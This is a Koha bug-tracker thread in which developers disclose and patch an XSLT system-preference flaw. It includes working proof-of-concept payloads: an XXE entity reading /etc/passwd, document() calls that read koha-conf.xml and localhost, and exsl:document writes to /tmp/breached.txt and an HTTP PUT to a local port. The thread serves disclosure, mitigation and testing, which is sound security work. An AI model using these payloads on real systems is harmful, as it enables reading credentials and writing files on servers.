Currently, anyone with permission to update the XSLTDetailsDisplay, XSLTListsDisplay, XSLTResultsDisplay, OPACXSLTDetailsDisplay, OPACXSLTListsDisplay, or OPACXSLTResultsDisplay system preference has the potential to read/write data on the server/network running Koha. By default, the XML parser in Koha will expand external XML entities, which means you can declare your own XML entities linked to external files on the file system, and the XML parser will read that file and insert its contents into your XSLT results. For example: <!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "/etc/passwd">]> <xsl:variable name="testing"> &ext_file; </xsl:variable> (I haven't experimented with external unparsed entity declarations using NDATA but that could make it potentially worse in terms of what could be exfiltrated.) You can also use <xsl:copy-of select="document('file.xml')" /> to read files on the file system or use <xsl:copy-of select="document('http://localhost:80')" /> to perform GET requests on the network, which is especially problematic if you rely on trusts on your internal network instead of using credential based authentication. You can also use something like the following to write to the local file system using the user running Koha: <exsl:document href="file:///tmp/breached.txt"> <xsl:text>Breached!</xsl:text> </exsl:document> The impact of file system writes are limited by the user running Koha, but that's still pretty damaging, especially if coupled with other exploits. -- In theory, you can also do writes over the network, although I haven't confirmed this through my own tests yet.
I have a work-in-progress patch to mitigate the vulnerability at the XML/XSLT level. An alternative would be to disallow external XSLTs in the Koha system preferences. Although I suppose organisations might use network shares with limited authorization to allow administrators to upload XSLTs to the server, so probably best to solve this at the root level. -- For people who don't think this is serious because you have to be an administrator to set this system preference, it's still a case of privilege escalation. Plus, a Koha administrator is not necessarily a trusted system administrator, so there's still a lot of potential for abuse.
I don't remember if Z39.50/SRU servers let you use external XSLTs or if they have to just be local, but just remembered that too...
Tests using XSLTDetailsDisplay: 1) Expand external entity FAIL <!DOCTYPE dtd_sample [ <!ENTITY ext_file SYSTEM "/etc/passwd"> ]> <xsl:variable name="system_file"> &ext_file; </xsl:variable> Error message: "parser error : Failure to process entity ext_file" I can't reproduce this one. I swear that I had this working a few weeks ago, but it was on an older version of Koha (not master) and doing it via the Z39.50 search using a local file rather than via the Intranet detail page using a remote file. I will look into this one further... ----------------------------------------- 2) Read from local file system SUCCESS <xsl:copy-of select="document('file:///path/to/koha-conf.xml')" /> ----------------------------------------- 3) Read from network ----------------------------------------- a) FAIL <xsl:copy-of select="document('http://koha-community.org')" /> Unknown IO errorI/O warning : failed to load external entity "http://koha-community.org" I think this is because it redirects to the HTTPS site and it seems like it can't handle TLS/SSL. (This seems confirmed as I get the same error when trying to fetch this very simple XML from an external IP address: https://www.w3schools.com/xml/note.xml) I can fetch from http://google.com (ie using HTTP instead of HTTPS) although the XML parser fails to parse the HTML response. ----------------------------------------- b) SUCCESS <xsl:copy-of select="document('http://localhost')" /> This is just an Apache default page, so the HTML is so basic that the XML parser can handle it. Would need to experiment here to see all the possibilities... The document() function does require something that can be parsed as XML so just fetching text over HTTP won't work. ----------------------------------------- 4) Write to local file system SUCCESS <exsl:document href="file:///tmp/breached.txt" omit-xml-declaration="yes" method="text"> <xsl:text>Breached!</xsl:text> </exsl:document> /tmp/systemd-private-0de1f7da4e514d7f9d50c5cad15fafff-apache2.service-9gJSe2/tmp/breached.txt sudo vi /tmp/systemd-private-0de1f7da4e514d7f9d50c5cad15fafff-apache2.service-9gJSe2/tmp/breached.txt Breached! ----------------------------------------- 5) Write to network I actually don't know how to do this one.
In any case, we can mitigate the XSLT vulnerabilities using the following: https://metacpan.org/pod/XML::LibXSLT#XML::LibXSLT::Security
Created attachment 91435 [details] [review] Bug 23290: XSLT system preferences allow administrators to exploit XML and XSLT vulnerabilities The problem is that administrators can provide XSLTs that can read from the server and network and write to the server. The This patch prevents the Koha::XSLT_Handler from running XSLT stylesheets that call actions such as read_file, write_file, read_net, and write_net as documented at https://metacpan.org/pod/XML::LibXSLT#XML::LibXSLT::Security (Previous tests suggested issues with XML external entities causing read file like vulnerabilities but these were not reproducible)
Just working on my exploit.xsl file... When using xsltproc, I'm able to get the XML external entity to load after an update so going to try again...
(In reply to David Cook from comment #6) > Just working on my exploit.xsl file... > > When using xsltproc, I'm able to get the XML external entity to load after > an update so going to try again... I'll have to try this on some Debian machines with the standard Koha libraries, as I'm using OpenSUSE with probably a lot newer XML::LibXML than Debian.
(In reply to David Cook from comment #7) > (In reply to David Cook from comment #6) > > Just working on my exploit.xsl file... > > > > When using xsltproc, I'm able to get the XML external entity to load after > > an update so going to try again... > > I'll have to try this on some Debian machines with the standard Koha > libraries, as I'm using OpenSUSE with probably a lot newer XML::LibXML than > Debian. Worth noting... https://rt.cpan.org/Public/Bug/Display.html?id=118032 https://gitlab.gnome.org/GNOME/libxml2/commit/4629ee02ac649c27f9c0cf98ba017c6b5526070f https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=838097
Created attachment 91437 [details] XSLT to exploit vulnerabilities This XSLT can be adapter to your own local system for reading from your computer's local file system and network. It has a built-in write to /tmp/breached.txt, which gets written with the permissions of the web server running the XSLT transformation.
Should this be 'Needs Signoff'.. I'm confused, it looks like you've posted a patch and test case? It would be good to move this one forward.
(In reply to Martin Renvoize from comment #10) > Should this be 'Needs Signoff'.. I'm confused, it looks like you've posted a > patch and test case? > > It would be good to move this one forward. Oops! Yeah that probably should be set to 'Needs Signoff'. I feel like I've done some testing on Debian and it's not as bad as it was on OpenSuse, but I haven't looked at this in months.
I think maybe on Debian the XML parser won't expand external XML entities without the patch... but I think the other security holes are still there.
XML::LibXSLT::Security is a new deps, and no debian package exists.
If you have permissions to change preferences (not even superlib), you could add an external stylesheet. This is a "feature" now. Which obviously, is a vulnerability too. (Not saying that if you have such permissions, you can break a lot of other things too.) Does XML::LibXSLT::Security allow imports from local system? Note also that only the import could be external. How does a Debian admin currently tell his xml parser to not allow external stylesheets? Here we may have problems too since various distributions and versions may differ. Imo we would at least feel safer if we need to enable the use of external stylesheets in e.g. koha-conf too? Since all these questions require answers/discussion, I dont think the current patch could be pushed in its current form.
(In reply to Jonathan Druart from comment #13) > XML::LibXSLT::Security is a new deps, and no debian package exists. Could you elaborate on this? XML::LibXSLT::Security should be provided by XML::LibXSLT, so there should be no new dependency. Are you having issues when you try to use it?
(In reply to Marcel de Rooy from comment #14) > If you have permissions to change preferences (not even superlib), you could > add an external stylesheet. This is a "feature" now. Which obviously, is a > vulnerability too. (Not saying that if you have such permissions, you can > break a lot of other things too.) > Many other permissions will break things in Koha, but not provide privileged access to the local server though. > Does XML::LibXSLT::Security allow imports from local system? Note also that > only the import could be external. > I am afraid that I do not understand your question. What do you mean by "imports" in this context? Do you mean an "<xsl:import>"? I don't understand what you mean by "note also that only the import could be external". Could you be more specific? > How does a Debian admin currently tell his xml parser to not allow external > stylesheets? Here we may have problems too since various distributions and > versions may differ. > What do you mean by "external stylesheets"? Do you mean a stylesheet that needs to be fetched from an external server? I don't think that's something that an OS sysadmin would handle, since that behaviour is in XML::LibXML::Parser's parse_file function (https://metacpan.org/pod/XML::LibXML::Parser#parse_file). I think that this is something that would have to be handled at the application level, so I don't think different distributions and versions would matter (although perhaps holder versions of libxml may or may not support some parsing options but I doubt that will bite us). In this case, I was referring to "external entities" (rather than "external stylesheets"). Please see sections like "expand_entities" in https://metacpan.org/pod/XML::LibXML::Parser for a description of what I mean. Or play with my sample XSLT file. I think that it's irrelevant if we allow external stylesheets. The key is that we prevent *any* stylesheet from having read/write access to the underlying server. In an earlier comment, I was saying how Debian's libxml might be patched to prevent "expand_entities" being turned on by default, but that's just 1 vulnerability. With this patch, I'm targeting a handful of XSLT vulnerabilities. > Imo we would at least feel safer if we need to enable the use of external > stylesheets in e.g. koha-conf too? > I still don't understand what you mean by "external stylesheets", especially in the context of koha-conf.xml. Are you referring to "external entities" or files from other servers? If you want to prevent XML::LibXML's load_xml from loading XML from the network, we could look at the "no_network" parser option https://metacpan.org/pod/XML::LibXML::Parser#PARSER-OPTIONS, although I don't know if that just refers to DTDs/external entities, or the XML itself too. I imagine it's everything but hard to say without doing a deep dive. I think allowing network access for loading XML is fine, so long as you're managing the parsing correctly. > Since all these questions require answers/discussion, I dont think the > current patch could be pushed in its current form. I don't think these questions are actually relevant to the current patch, as they're about different things, but it's up to you. I've already patched these vulnerabilities locally, so feel free to take all the time you like. Honestly, I'd given up on anyone actually looking at this bug report, until Martin commented.
I'd suggest that people play with the XSLT to get a better understanding of what's going on here. Happy to provide extra explanations or instructions if need be.
The following might explain the XML external entity stuff: https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE) https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet Note though that is separate to the XSLT vulnerabilities I've mentioned.
(In reply to David Cook from comment #15) > (In reply to Jonathan Druart from comment #13) > > XML::LibXSLT::Security is a new deps, and no debian package exists. > > Could you elaborate on this? XML::LibXSLT::Security should be provided by > XML::LibXSLT, so there should be no new dependency. > > Are you having issues when you try to use it? root@e5ce48bfab19:kohadevbox$ pmvers XML::LibXSLT::Security /usr/bin/pmvers: Can't locate XML/LibXSLT/Security.pm in @INC (you may need to install the XML::LibXSLT::Security module) (@INC contains: /kohadevbox/koha /kohadevbox/qa-test-tools /etc/perl /usr/local/lib/x86_64-linux-gnu/perl/5.24.1 /usr/local/share/perl/5.24.1 /usr/lib/x86_64-linux-gnu/perl5/5.24 /usr/share/perl5 /usr/lib/x86_64-linux-gnu/perl/5.24 /usr/share/perl/5.24 /usr/local/lib/site_perl /usr/lib/x86_64-linux-gnu/perl-base) root@e5ce48bfab19:kohadevbox$ pmvers XML::LibXSLT 1.95
(In reply to Jonathan Druart from comment #19) > (In reply to David Cook from comment #15) > > (In reply to Jonathan Druart from comment #13) > > > XML::LibXSLT::Security is a new deps, and no debian package exists. > > > > Could you elaborate on this? XML::LibXSLT::Security should be provided by > > XML::LibXSLT, so there should be no new dependency. > > > > Are you having issues when you try to use it? > > root@e5ce48bfab19:kohadevbox$ pmvers XML::LibXSLT::Security > /usr/bin/pmvers: Can't locate XML/LibXSLT/Security.pm in @INC (you may need > to install the XML::LibXSLT::Security module) (@INC contains: > /kohadevbox/koha /kohadevbox/qa-test-tools /etc/perl > /usr/local/lib/x86_64-linux-gnu/perl/5.24.1 /usr/local/share/perl/5.24.1 > /usr/lib/x86_64-linux-gnu/perl5/5.24 /usr/share/perl5 > /usr/lib/x86_64-linux-gnu/perl/5.24 /usr/share/perl/5.24 > /usr/local/lib/site_perl /usr/lib/x86_64-linux-gnu/perl-base) > > root@e5ce48bfab19:kohadevbox$ pmvers XML::LibXSLT > 1.95 Thanks for that, Jonathan. I can assure you that this is not an issue. Can you find your XML/LibXSLT.pm module for me? On OpenSuse, mine is here: /usr/lib/perl5/vendor_perl/5.26.1/x86_64-linux-thread-multi/XML/LibXSLT.pm You should find that XML/LibXSLT.pm actually contains packages for XML::LibXSLT, XML::LibXSLT::StylesheetWrapper, and XML::LibXSLT::Security. So the XML/LibXSLT.pm module is the dependency, and it contains the XML::LibXSLT::Security package. So it should be all good :).
(In reply to David Cook from comment #20) > So the XML/LibXSLT.pm module is the dependency, and it contains the > XML::LibXSLT::Security package. > > So it should be all good :). egrep "^package " /usr/lib/perl5/vendor_perl/5.26.1/x86_64-linux-thread-multi/XML/LibXSLT.pm package XML::LibXSLT; package XML::LibXSLT::StylesheetWrapper; package XML::LibXSLT::Security;
Indeed, sorry for the noise.
(In reply to Jonathan Druart from comment #22) > Indeed, sorry for the noise. No problem at all. Thank you for looking at this bug report!
(In reply to David Cook from comment #16) > (In reply to Marcel de Rooy from comment #14) Hi David, Looking at this again now. Available time ;) > Many other permissions will break things in Koha, but not provide privileged > access to the local server though. First, I am all for security. But that access is only possible when you manage to inject code in the used stylesheets or change the pref to a location you control. In case of the first you probably lost the battle already. > What do you mean by "imports" in this context? Do you mean an "<xsl:import>"? > What do you mean by "external stylesheets"? Do you mean a stylesheet that > needs to be fetched from an external server? > I think that it's irrelevant if we allow external stylesheets. The key is > that we prevent *any* stylesheet from having read/write access to the > underlying server. Maybe I should have focused on the external entities only, because thats the scope indeed. In a broader sense, 'external code' coming in via an import, an external stylesheet, an external entity, or yet another source, is a risk on itself. You dont control the code. Personally, I do not think it is irrelevant, allowing it is a vulnerability. But yes, if we can prevent access to the server in the xslt, we are safer. > I don't think these questions are actually relevant to the current patch, as > they're about different things, but it's up to you. I agree about the scope. Will be looking a bit further now.
Created attachment 95450 [details] [review] Bug 23290: Rename XSLT_Handler This is just a git move. Cannot be tested. (Easier for QA.) The next patch adjusts paths etc. in the module. Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Created attachment 95451 [details] [review] Bug 23290: Introduce Koha::XSLT::Security Also adds a temporary stub for Koha::XSLT_Handler referring to Base. This will be removed later. Test plan: Run t/db_dependent/XSLT_Handler.t
Created attachment 95452 [details] [review] Bug 23290: Apply the changes in Security to Base now Until now Base did not yet use Security. The security lines are removed from Base here by calls to Security. A new test must be added still. Test plan: Ensure that t/db_dependent/XSLT_Handler.t still passes.
What do you think, David? Added a wrapper around your code and added possibility to change parser options. Should still add some testing, cleanup.
Created attachment 95453 [details] [review] Bug 23290: Allow enabling expand_entities Since libxml2 disables it now by default, we need to enable it for testing.
Created attachment 95454 [details] [review] Bug 23290: Add test Koha/XSLT/Security.t Test plan: Run it!
Question remains: Are we harassing people now that added such document calls to their Koha XSLTs ?
If people like this, I will add some further housekeeping on a regular report. Like removing XSLT_Handler refs etc. Moving the tests etc. Note that the new test is not db_dependent actually, etc.
(In reply to Marcel de Rooy from comment #24) > First, I am all for security. But that access is only possible when you > manage to inject code in the used stylesheets or change the pref to a > location you control. In case of the first you probably lost the battle > already. > I think that they're different battles. Compromising the application is one battle, but compromising the server under it is another (arguably much more important) battle. Vendors allow access to demo instances, and vendors allow libraries to define their own app-level security permissions. So getting the app-level permissions aren't necessarily that difficult. I figure we should operate under the assumption that an application can be compromised, and that we limit the damage it can cause when it is. > Maybe I should have focused on the external entities only, because thats the > scope indeed. In a broader sense, 'external code' coming in via an import, > an external stylesheet, an external entity, or yet another source, is a risk > on itself. You dont control the code. Personally, I do not think it is > irrelevant, allowing it is a vulnerability. But yes, if we can prevent > access to the server in the xslt, we are safer. > I'm not sure that I follow what you're saying, but no worries. I think we're both in favour of moving forward with the patches, so it's all good.
Comment on attachment 95454 [details] [review] Bug 23290: Add test Koha/XSLT/Security.t Review of attachment 95454 [details] [review]: ----------------------------------------------------------------- ::: t/db_dependent/Koha/XSLT/Security.t @@ +62,5 @@ > +$xslt_file = mytempfile($xslt); > +warning_like { $output= $engine->transform( "<ignored/>", $xslt_file ); } > + qr/read_file called in XML::LibXSLT/, > + 'Triggered security callback'; > + I think this is looking good. Could we also add tests for the following? * Reading from the network: <xsl:copy-of select="document('http://IP:PORT/exploit.xsl')" /> *Writing to local file system: <exsl:document href="file:///tmp/breached.txt" omit-xml-declaration="yes" method="text"> <xsl:text>Breached!</xsl:text> </exsl:document>
I'm going to have another little go at trying to write to the network from XSLT...
(In reply to David Cook from comment #35) > I'm going to have another little go at trying to write to the network from > XSLT... I was able to get the XSLT to send a HTTP PUT request (on a non-Debian host) using xsltproc. exploit.xsl: <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:marc="http://www.loc.gov/MARC21/slim" xmlns:exsl="http://exslt.org/common" extension-element-prefixes="exsl" version="1.0"> <xsl:template match="/"> <exsl:document href="http://localhost:2112" omit-xml-declaration="yes" method="html"> <xsl:text>Breached!</xsl:text> </exsl:document> </xsl:template> </xsl:stylesheet> test.xml <test> </test> -- Terminal 1: nc -l localhost 55555 -vv Listening on [localhost] (family 0, port 55555) -- Terminal 2: xsltproc exploit.xsl test.xml -- Terminal 1: Connection from localhost 60168 received! PUT / HTTP/1.0 Host: localhost:55555 Accept-Encoding: gzip Content-Type: text/xml Content-Length: 20 Breached! Breached! -- Terminal 1: Ctrl + C -- Terminal 2: I/O error : write error runtime error: file exploit.xsl line 3 element document xsltDocumentElem: unable to save to http://localhost:55555 no result for test.xml
Oops that exploit.xsl should be the following: <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:marc="http://www.loc.gov/MARC21/slim" xmlns:exsl="http://exslt.org/common" extension-element-prefixes="exsl" version="1.0"> <xsl:template match="/"> <exsl:document href="http://localhost:55555" omit-xml-declaration="yes" method="html"> <xsl:text>Breached!</xsl:text> </exsl:document> </xsl:template> </xsl:stylesheet> -- I was experimenting with different ports to see what would happen.
If you try a port that isn't open: error : Operation in progress runtime error: file exploit.xsl line 3 element document xsltDocumentElem: unable to save to http://localhost:55556 no result for test.xml If you try a port that is open and responds with something like a 200, then you don't get a response on the calling terminal. I was able to PUT to /cgi-bin/koha/maintenance.pl 127.0.0.1 - - [18/Nov/2019:11:14:50 +1100] "PUT /cgi-bin/koha/maintenance.pl HTTP/1.0" 200 8943 Obviously it didn't successfully put anything, but if you had an unsecured API on a local network... Or you could create large PUT requests with the XSLT to burden the network.
Just some background information: "Function: xmlRegisterHTTPPostCallbacks" "By default, libxml submits HTTP output requests using the "PUT" method. Calling this method changes the HTTP output method to use the "POST" method instead." http://www.xmlsoft.org/html/libxml-xmlIO.html
(In reply to David Cook from comment #35) > I'm going to have another little go at trying to write to the network from > XSLT... Hard to find more info about that. Seems already a bit older. libxslt/security.c made me not much wiser (at quick glance). Maybe a NFS shared folder or so?
Created attachment 95475 [details] [review] Bug 23290: Add test Koha/XSLT/Security.t Test plan: Run it!
(In reply to David Cook from comment #34) > Could we also add tests for the following? Done. Added a remote import too that should not fail on the callbacks.
Created attachment 95478 [details] [review] Bug 23290: Add test Koha/XSLT/Security.t Test plan: Run it!
Created attachment 95480 [details] [review] Bug 23290: XSLT system preferences allow administrators to exploit XML and XSLT vulnerabilities The problem is that administrators can provide XSLTs that can read from the server and network and write to the server. The This patch prevents the Koha::XSLT_Handler from running XSLT stylesheets that call actions such as read_file, write_file, read_net, and write_net as documented at https://metacpan.org/pod/XML::LibXSLT#XML::LibXSLT::Security (Previous tests suggested issues with XML external entities causing read file like vulnerabilities but these were not reproducible) Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Created attachment 95481 [details] [review] Bug 23290: Rename XSLT_Handler This is just a git move. Cannot be tested. (Easier for QA.) The next patch adjusts paths etc. in the module. Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Created attachment 95482 [details] [review] Bug 23290: Introduce Koha::XSLT::Security Also adds a temporary stub for Koha::XSLT_Handler referring to Base. This will be removed later. Test plan: Run t/db_dependent/XSLT_Handler.t Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Created attachment 95483 [details] [review] Bug 23290: Apply the changes in Security to Base now Until now Base did not yet use Security. The security lines are removed from Base here by calls to Security. A new test must be added still. Test plan: Ensure that t/db_dependent/XSLT_Handler.t still passes. Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Created attachment 95484 [details] [review] Bug 23290: Allow enabling expand_entities Since libxml2 disables it now by default, we need to enable it for testing. Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Created attachment 95485 [details] [review] Bug 23290: Add test Koha/XSLT/Security.t Test plan: Run it! Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
(In reply to David Cook from comment #16) > If you want to prevent XML::LibXML's load_xml from loading XML from the > network, we could look at the "no_network" parser option > https://metacpan.org/pod/XML::LibXML::Parser#PARSER-OPTIONS, although I > don't know if that just refers to DTDs/external entities, or the XML itself > too. I imagine it's everything but hard to say without doing a deep dive. Tried using it. But couldnt make it work for now..
(In reply to Marcel de Rooy from comment #40) > (In reply to David Cook from comment #35) > > I'm going to have another little go at trying to write to the network from > > XSLT... > > Hard to find more info about that. Seems already a bit older. > libxslt/security.c made me not much wiser (at quick glance). > Maybe a NFS shared folder or so? It was hard to find info about that but this is how you write to the network using HTTP in XSLT: <exsl:document href="http://localhost:2112" omit-xml-declaration="yes" method="html"> <xsl:text>Breached!</xsl:text> </exsl:document> A NFS shared folder would just be a file system that you'd access using a file:// protocol. But here we can use http://. You can also use ftp:// I think.
(In reply to Marcel de Rooy from comment #50) > Tried using it. But couldnt make it work for now.. I'll give it a try sometime, but I think we have enough to work with for now here.
Created attachment 95551 [details] [review] Bug 23290: Add test for write_net Test plan: Run t/db_dependent/Koha/XSLT/Security.t Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
(In reply to David Cook from comment #51) > (In reply to Marcel de Rooy from comment #40) > It was hard to find info about that but this is how you write to the network > using HTTP in XSLT: > > <exsl:document href="http://localhost:2112" omit-xml-declaration="yes" > method="html"> > <xsl:text>Breached!</xsl:text> > </exsl:document> Added a test for that. Changed the URI. > A NFS shared folder would just be a file system that you'd access using a > file:// protocol. But here we can use http://. You can also use ftp:// I > think. NFS was just a wild guess. I think it considers everything not file:// as network.
David, I signed off your patches. If you add a signoff line to my patches, we can upgrade the status of this set. Thanks
Should we lower to major btw ?
(In reply to Marcel de Rooy from comment #55) > David, > I signed off your patches. If you add a signoff line to my patches, we can > upgrade the status of this set. > Thanks I have a few things I need to do right now, but I'll put it on my todo list and endeavour to get that done today.
Ran out of time before but keeping this on my list
(In reply to David Cook from comment #58) > Ran out of time before but keeping this on my list Ping David.
Created attachment 96299 [details] [review] Bug 23290: Rename XSLT_Handler This is just a git move. Cannot be tested. (Easier for QA.) The next patch adjusts paths etc. in the module. Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl> Signed-off-by: David Cook <dcook@prosentient.com.au>
Created attachment 96300 [details] [review] Bug 23290: Introduce Koha::XSLT::Security Also adds a temporary stub for Koha::XSLT_Handler referring to Base. This will be removed later. Test plan: Run t/db_dependent/XSLT_Handler.t Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl> Signed-off-by: David Cook <dcook@prosentient.com.au>
Created attachment 96301 [details] [review] Bug 23290: Apply the changes in Security to Base now Until now Base did not yet use Security. The security lines are removed from Base here by calls to Security. A new test must be added still. Test plan: Ensure that t/db_dependent/XSLT_Handler.t still passes. Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl> Signed-off-by: David Cook <dcook@prosentient.com.au>
Created attachment 96302 [details] [review] Bug 23290: Allow enabling expand_entities Since libxml2 disables it now by default, we need to enable it for testing. Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl> Signed-off-by: David Cook <dcook@prosentient.com.au>
Created attachment 96303 [details] [review] Bug 23290: Add test Koha/XSLT/Security.t Test plan: Run it! Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl> Signed-off-by: David Cook <dcook@prosentient.com.au>
Created attachment 96304 [details] [review] Bug 23290: Add test for write_net Test plan: Run t/db_dependent/Koha/XSLT/Security.t Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl> Signed-off-by: David Cook <dcook@prosentient.com.au>
Looks good, Marcel! Thanks for all your help on this one.
(In reply to David Cook from comment #65) > Signed-off-by: David Cook <dcook@prosentient.com.au> Thx David
(In reply to Marcel de Rooy from comment #67) > (In reply to David Cook from comment #65) > > Signed-off-by: David Cook <dcook@prosentient.com.au> > > Thx David My apologies for all the delays!
+package Koha::XSLT_Handler; +# This is just a stub; will be removed later on Can you explain? Also, why should we use implicit err codes? XSLTH_ERR_1 Let use XSLTH_ERR_NO_FILE directly
(In reply to Jonathan Druart from comment #69) > +package Koha::XSLT_Handler; > +# This is just a stub; will be removed later on > > Can you explain? To keep it smaller, I postponed that housekeeping to a followup report. See dependencies. > > Also, why should we use implicit err codes? XSLTH_ERR_1 > Let use XSLTH_ERR_NO_FILE directly Just moving existing codes from A to B here. (Although I created it once ;) This is not the scope of this report.
* Koha/XSLT/Base.pm:use constant XSLTH_ERR_2 => 'XSLTH_ERR_FILE_NOT_FOUND'; Koha/XSLT_Handler.pm:use constant XSLTH_ERR_2 => 'XSLTH_ERR_FILE_NOT_FOUND'; Defined in 2 places? * register_callbacks has warns, is that expected? * I do not understand why the original patch became that complex, as we are in security, not refactoring. Not blocker however I guess. * Is the test plan from comment 3 still complete?
(In reply to Jonathan Druart from comment #71) > * Koha/XSLT/Base.pm:use constant XSLTH_ERR_2 => > 'XSLTH_ERR_FILE_NOT_FOUND'; > Koha/XSLT_Handler.pm:use constant XSLTH_ERR_2 => > 'XSLTH_ERR_FILE_NOT_FOUND'; > > Defined in 2 places? Same as above. > * register_callbacks has warns, is that expected? > > * I do not understand why the original patch became that complex, as we are > in security, not refactoring. Not blocker however I guess. > > * Is the test plan from comment 3 still complete? Complex is not the right word; this code extraction seems simpler? Not sure what you mean about the test plan.
(In reply to Marcel de Rooy from comment #72) > Not sure what you mean about the test plan. How do we test the patch set?
Bug 24313 (Always display XSLT errors in logs) makes the security test fail now. Will add a follow-up for the additional runtime error.
(In reply to Jonathan Druart from comment #73) > (In reply to Marcel de Rooy from comment #72) > > Not sure what you mean about the test plan. > > How do we test the patch set? Will be adding a follow-up to refine patch 5 (allow enabling). Will be adding a follow-up to fix the test. Will be adding two example patches to allow testing bad behavior. Sending them very soon.
Created attachment 97606 [details] [review] [DO_NOT_PUSH] Hack MARC21slim2intranetDetail.xsl Let's print etc/passwd on the detail page (only for staff :) Note that this does not generate a log entry but depending on your LibXML version, your koha-config variable koha_xslt_security and applying the follow-up "Disable expand entities unless explicitly enabled", the contents of your /etc/passwd may be visible on the staff detail page. When you applied all patches, the only way to get the passwd info on the form should be to enable expand_entities in koha-conf as shown below. Obviously, this is not recommended. By default, this setting is disabled even when missing in koha-conf. <koha_xslt_security> <expand_entities>1</expand_entities> </koha_xslt_security>
Created attachment 97607 [details] [review] [DO_NOT_PUSH] Add a write_file in intranetDetail too If you only apply the two examples patches (this one and the former), you should not have a warning on write_file in your logs but instead the xslt should have created a file /tmp/breached.txt. If you have all patches and you removed the breached.txt file, this hack should only generate log entries like below. The breached file should not be created again. The output of the detail page should be minimal, since the stylesheet does not return its normal contents. write_file called in XML::LibXSLT at /usr/share/koha/Koha/XSLT/Security.pm line 93. XSLT::Base: runtime error: file /usr/share/koha/koha-tmpl/intranet-tmpl/prog/en/xslt/MARC21slim2intranetDetail.xsl element document File write for /tmp/breached.txt refused runtime error: file /usr/share/koha/koha-tmpl/intranet-tmpl/prog/en/xslt/MARC21slim2intranetDetail.xsl element document xsltDocumentElem: write rights for file:///tmp/breached.txt denied at /usr/share/koha/Koha/XSLT/Base.pm line 228.
Created attachment 97608 [details] [review] Bug 23290: XSLT system preferences allow administrators to exploit XML and XSLT vulnerabilities The problem is that administrators can provide XSLTs that can read from the server and network and write to the server. The This patch prevents the Koha::XSLT_Handler from running XSLT stylesheets that call actions such as read_file, write_file, read_net, and write_net as documented at https://metacpan.org/pod/XML::LibXSLT#XML::LibXSLT::Security (Previous tests suggested issues with XML external entities causing read file like vulnerabilities but these were not reproducible) Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Created attachment 97609 [details] [review] Bug 23290: Rename XSLT_Handler This is just a git move. Cannot be tested. (Easier for QA.) The next patch adjusts paths etc. in the module. Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl> Signed-off-by: David Cook <dcook@prosentient.com.au>
Created attachment 97610 [details] [review] Bug 23290: Introduce Koha::XSLT::Security Also adds a temporary stub for Koha::XSLT_Handler referring to Base. This will be removed later. Test plan: Run t/db_dependent/XSLT_Handler.t Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl> Signed-off-by: David Cook <dcook@prosentient.com.au>
Created attachment 97611 [details] [review] Bug 23290: Apply the changes in Security to Base now Until now Base did not yet use Security. The security lines are removed from Base here by calls to Security. A new test must be added still. Test plan: Ensure that t/db_dependent/XSLT_Handler.t still passes. Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl> Signed-off-by: David Cook <dcook@prosentient.com.au>
Created attachment 97612 [details] [review] Bug 23290: Allow enabling expand_entities Since libxml2 disables it now by default, we need to enable it for testing. Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl> Signed-off-by: David Cook <dcook@prosentient.com.au>
Created attachment 97613 [details] [review] Bug 23290: (follow-up) Disable expand_entities unless explicitly enabled This follow-up refines the change made in the former patch. See also https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=838097 https://rt.cpan.org/Public/Bug/Display.html?id=118032 We do not want to depend now on the exact LibXML version, so we will disable expand_entities unless it is explicitly enabled via the config variable koha_xslt_security. (Allowing us to test if bad things will be caught.) The options key is now always added to the Security object. The return from set_parser_options has been removed to allow disabling when there is no koha-conf entry (which probably is the normal situation).
Created attachment 97614 [details] [review] Bug 23290: Add test Koha/XSLT/Security.t Test plan: Run it! Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl> Signed-off-by: David Cook <dcook@prosentient.com.au>
Created attachment 97615 [details] [review] Bug 23290: Add test for write_net Test plan: Run t/db_dependent/Koha/XSLT/Security.t Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl> Signed-off-by: David Cook <dcook@prosentient.com.au>
Created attachment 97616 [details] [review] Bug 23290: (follow-up) Replace warning_like by warnings_like Security.t does not pass anymore ;) Due to bug 23290 the tests now trigger an additional runtime error that we should also catch to let the tests pass again. Test plan: Run t/db_dependent/Koha/XSLT/Security.t Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
